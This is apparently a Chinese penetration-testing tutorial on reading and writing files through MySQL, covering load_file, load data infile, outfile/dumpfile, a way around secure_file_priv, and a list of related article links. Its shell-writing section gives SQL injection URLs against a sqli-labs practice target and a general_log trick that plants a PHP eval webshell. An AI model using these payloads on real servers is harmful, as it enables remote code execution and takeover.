MySQL 文件读写
0x00 前言
MySQL在不同版本读写文件方法大致有这几个:
1.load_file()
2.load data infile()
3.system cat
4.outfile
5.dumpfile
load_file()和load data infile读取文件的方法为:新建一个表,将读取文件以字符串形式插入表中,然后读出表中数据。load_file()也可以直接使用select load_file('文件路径')
0x01 读文件需满足条件
1.secure_file_priv值允许对该路径下的文件进行操作
2.数据库用户(mysql的属主)对文件有读权限
3.当前数据库登录用户拥有file权限
查看方法:mysql> show grants for 用户名@localhost;
4.知道文件的完整路径
5.文件大小小于max_allowed_packet(load_file()函数受到这个值的限制)
查看方法:mysql> show global variables like 'max_allowed%';
修改方法:mysql> set global max_allowed_packet = 5\*1024\*1024;
0x02 写文件需满足条件
1.secure_file_priv值允许对该路径下的文件进行操作
2.数据库用户(mysql的属主)对文件有写权限
3.当前数据库登录用户拥有file权限
4.知道文件的完整路径
一、secure_file_priv
值为NULL,表示禁止文件的导入与导出
值为某一目录,表示只能对该目录下的文件导入与导出
值为空,表示不对文件的读写进行限制
secure_file_priv值的查询语句:
mysql>show global variables like "secure_file_priv";
mysql>show global variables like "secure%";
在mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL,可以通过以下方式修改:
修改my.ini或my.cnf文件,在[mysqld]下添加条目secure_file_priv =
,保存后重启mysql:systemctl restart mysql.service
二、load_file()
首先在/tmp目录下创建一个文档
运行mysql,sql命令如下:
create table user(cmd text);
insert into user(cmd) values (load_file('/tmp/1.txt'));
select * from user;
select load_file('/tmp/1.txt');
这里不知道为什么是NULL,在其他满足条件的目录中尝试成功如下:
在/usr目录下创建一个文档
运行mysql,sql命令如下:
select load_file('/usr/1.txt');
三、load data infile
load data infile 执行权限问题
运行mysql,sql命令如下:
load data infile '/tmp/1.txt' into table user;
不知道为什么对于/tmp的尝试都失败了,但对于其他满足要求的目录尝试都能成功,这里不再举例。
三、load data local infile
如果指定local关键词,则表明从客户主机读文件:
- 如果你的filename为绝对路径,则客户机从根目录开始查找该文件。
- 如果你的filename为相对路径,则客户机从当前目录开始查找该文件。
如果没指定local,则文件必须位于服务器上:
- 如果你的filename为绝对路径,则服务器从根目录开始查找该文件。
- 如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件。
使用local需要设置local_infile开启,该变量默认为ON。
客户端设置local_infile可以在client中使用以下命令:
mysql> SET GLOBAL local_infile = true;
mysql> SHOW GLOBAL VARIABLES LIKE 'local_infile';
也可以修改my.ini或my.cnf文件,在[mysqld]下添加条目local_infile = 1
load data local infile '/tmp/1.txt' into table user;
四、system cat
在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用系统命令直接读取文件。
system cat /tmp/1.txt;
注意:
1.此方法只能在本地读取,远程连接mysql时无法使用system。
2.无法越权读取。
五、select … into outfile/dumpfile …
select 'lyz' into outfile '/tmp/lyz.txt';
select '123' into dumfile '/usr/local/mysql/1.txt';
system cat 'usr/local/mysql/1.txt';
exit;
find / -name lyz.txt
0x03 secure_file_priv=NULL 的绕过
使用system执行系统命令和load data infile语句加local选项绕过限制。
system执行系统命令适用版本为5.x。
此方法只能在本地读取,远程连接mysql时无法使用system。
无法越权读取。
使用load data local infile语句从客户主机读取文件。
1.查询secure_file_priv值:
2.system读写文件:(强调一下system执行系统命令!)
3.load data local infile需要将读取的文件存储在数据表中:
0x04 基于mysql下的几种写shell方法
一、基于联合查询法的写入方法
1.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘G:/2.txt’ %23
2.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<?php phpinfo() ?>’ into dumpfile ‘G:/2.txt’ %23
二、基于非联合查询法的写入方法
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘<? phpinfo(); ?>’%23
三、基于log日志的写入方法
查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复:
show variables like ‘%general%’;
开启日志监测:(一般是关闭的,如果一直开,文档会很大的。)
set global general_log = on;
设置我们需要写入的路径:
set global general_log_file = ‘G:/2.txt’;
查询一个一句话木马:(这时log日志里就会记录这个一句话木马。)
select ‘<?php eval($_POST[‘shiyan’]);?>’;
结束后,再修改为原来的路径:
set global general_log_file = ‘原来的路径’;
关闭日志记录:
set global general_log = off;
0x05 dumpfile与outfile的区别
摘自:outfile、dumpfile、load_file函数详解
我们本次的测试数据如下:
一、导出数据库场景下的差异
1.select …… into outfile
我们先来看一下mysql官方文档里对于这两个函数的解释。
其中有两个值得注意的坑点:
outfile函数可以导出多行数据,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
接下我们来通过导出测试看看这里面的细节。
首先通过命令select * from test into outfile '/tmp/test.txt'
使用outfile进行导出
可以看到/tmp/test.txt
文件中保存了所有的数据并且在一行数据的末尾自动换行。
查看官方文档,使用如下参数可以进行格式调整:
其中 FIELDS ESCAPED BY
可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY
用来对字段值进行包裹,FIELDS TERMINATED BY
用来对字段值之间进行分割。
例如使用如下命令: select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
得到的导出文件如下:
2.select …… into dumpfile
接着使用命令select * from test into dumpfile '/tmp/test.txt'
来使用dumpfile进行导出。
可以看到此命令在执行的时候提示输出超过一行。
查看文件内容
可以看到通过dumpfile导出的数据并未进行换行且只导出了部分数据。
二、写入webshell或者udf下的差异
我们使用命令select 'a\naa\raaaa' into outfile '/tmp/test.txt'
来看一下在常用的写文件场景下的结果。
可以看到outfile对导出内容中的\n等特殊字符进行了转义,并且在文件内容的末尾增加了一个新行。
我们接着使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt'
来看一下。
可以看到dumpfile对文件内容是原样写入,未做任何转义和增加。这也就是为什么我们在平常的UDF提权中使用dumpfile进行dll文件写入的原因。
还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中十分麻烦,因为会自动将单引号转义成 \’ 。然而load_file后面的路径既可以是单引号,也可以是0x、char转换的字符,但是路径中的斜杠是 / 而不是 \ 。
MySQL 文件读写相关推荐
- mysql数据库读写文件
环境: centos7 mysql 5.6.47 用户:root@localhost 条件 mysql中涉及到读写操作,必然离不开secure_file_priv参数,它的值限制load data,s ...
- Python全栈(五)Web安全攻防之7.MySQL注入读写文件和HTTP头中的SQL注入
文章目录 一.MySQL注入读写文件 1.搭建新的测试环境(靶场) 2.读写文件概述 3.读取文件 4.写入文件 二.HTTP头中的SQL注入 1.HTTP头中的SQL注入介绍 updatexml函数 ...
- Mysql注入读写文件
Mysql注入读写文件 1.Mysql注入读文件 MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够). 读取前提: 1.用户权限 ...
- MySQL注入读写文件、HTTP头中的SQL注入和cookie注入
MySQL注入读写文件 MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够) 读取前提: 1.用户权限足够高,尽量具有root权限 2. ...
- Amoeba实现mysql主从读写分离
Amoeba实现mysql主从读写分离 这段在网上看了下关于amoeba的文章,总体感觉好像要比mysql-proxy好的多,也参考了不少的资料,此文章可能与其他文章作者会有雷同的地方,请谅解,但是此 ...
- Centos7源码安装mysql及读写分离,互为主从
Linux服务器 -源码安装mysql 及读写分离,互为主从 一.环境介绍: Linux版本: CentOS 7 64位 mysq版本: mysql-5.6.26 这是我安装时所使用的版本, ...
- android json mysql_Android通过json向MySQL中读写数据的方法详解【读取篇】
本文实例讲述了Android通过json向MySQL中读取数据的方法.分享给大家供大家参考,具体如下: 首先 要定义几个解析json的方法parseJsonMulti,代码如下: private vo ...
- 动力节点老杜mysql文件_mysql主从复制+mysql主从复制延迟解决方案
### 1. 为什么需要mysql主从复制 1. 数据热备 在复杂的业务场景中, 可能因为某一条sql造成了锁表, 这样就会影响正常的业务运行.在复杂的业务场景中, 我们可以使用mysql主从复制, ...
- MySQL Router实现MySQL的读写分离
1.简介 MySQL Router是MySQL官方提供的一个轻量级MySQL中间件,用于取代以前老版本的SQL proxy. 既然MySQL Router是一个数据库的中间件,那么MySQL Rout ...
最新文章
- 颜值绝绝子的swagger-ui
- 前端渐进式框架Vue讲解
- 帮初学者快速上手机器学习,这有一份Colab资源大全
- bzoj3339 Rmq Problem
- 创业阶段如何找客户_初创企业在不同的创业阶段:如何做好市场营销?
- python常用时间处理方法
- 华为交换机S5700开启telnet
- spring 依赖注入_Spring从入门到入土——依赖注入(DI)
- AVR 工具指南(一)
- vue-cli3+element-ui+vuex+nodejs+mysql前端项目记录
- 苹果开发者账号全解-关于申请开发者账号的所有答案
- JavaScript中的表单验证
- 物联公司网页设计制作 简单静态HTML网页作品 静态企业网页作业成品 学生网站模板
- Catalent康泰伦特上海外高桥临床供应中心扩建温控产能;富士胶片发布2021财年第三季度财报 | 医药健闻...
- 新应用从哪几个方面开展ASO优化工作,aso优化内容
- Google 3D压缩项目Draco简析
- 增加表空间数据文件语句
- python检测微信好友被删被拉黑_如何用Python,查看是否被微信好友删除
- 图解Linux中EXT4与EXT3的区别
- PTA 1054 求平均值 (20 分)
热门文章
- 如何对MySQL数据库备份与还原?
- 小米枪战不显示服务器,小米枪战怎么进不去 小米枪战进不去解决方法
- 汤姆大叔JavaCript系列10阅读笔记1
- Python格式化输出(format和%)
- electron 打包报错 npm ERR! code ELIFECYCLE npm ERR! errno 1
- uni-app如何生成海报图片
- linux 卸载nodejs_linux 卸载安装node npm
- 毕业生必须知道:干部身份、三方协议、派遣证(不因无知而后悔)
- 计算机系学雷活动,软件专业举行学雷锋专题活动-最新动态-成都理工大学工程技术学院电子信息与计算机工程系...
- vn的可变数据类型_casting - 是否有任何编程语言可以禁止对返回类型进行类转换? - SO中文参考 - www.soinside.com...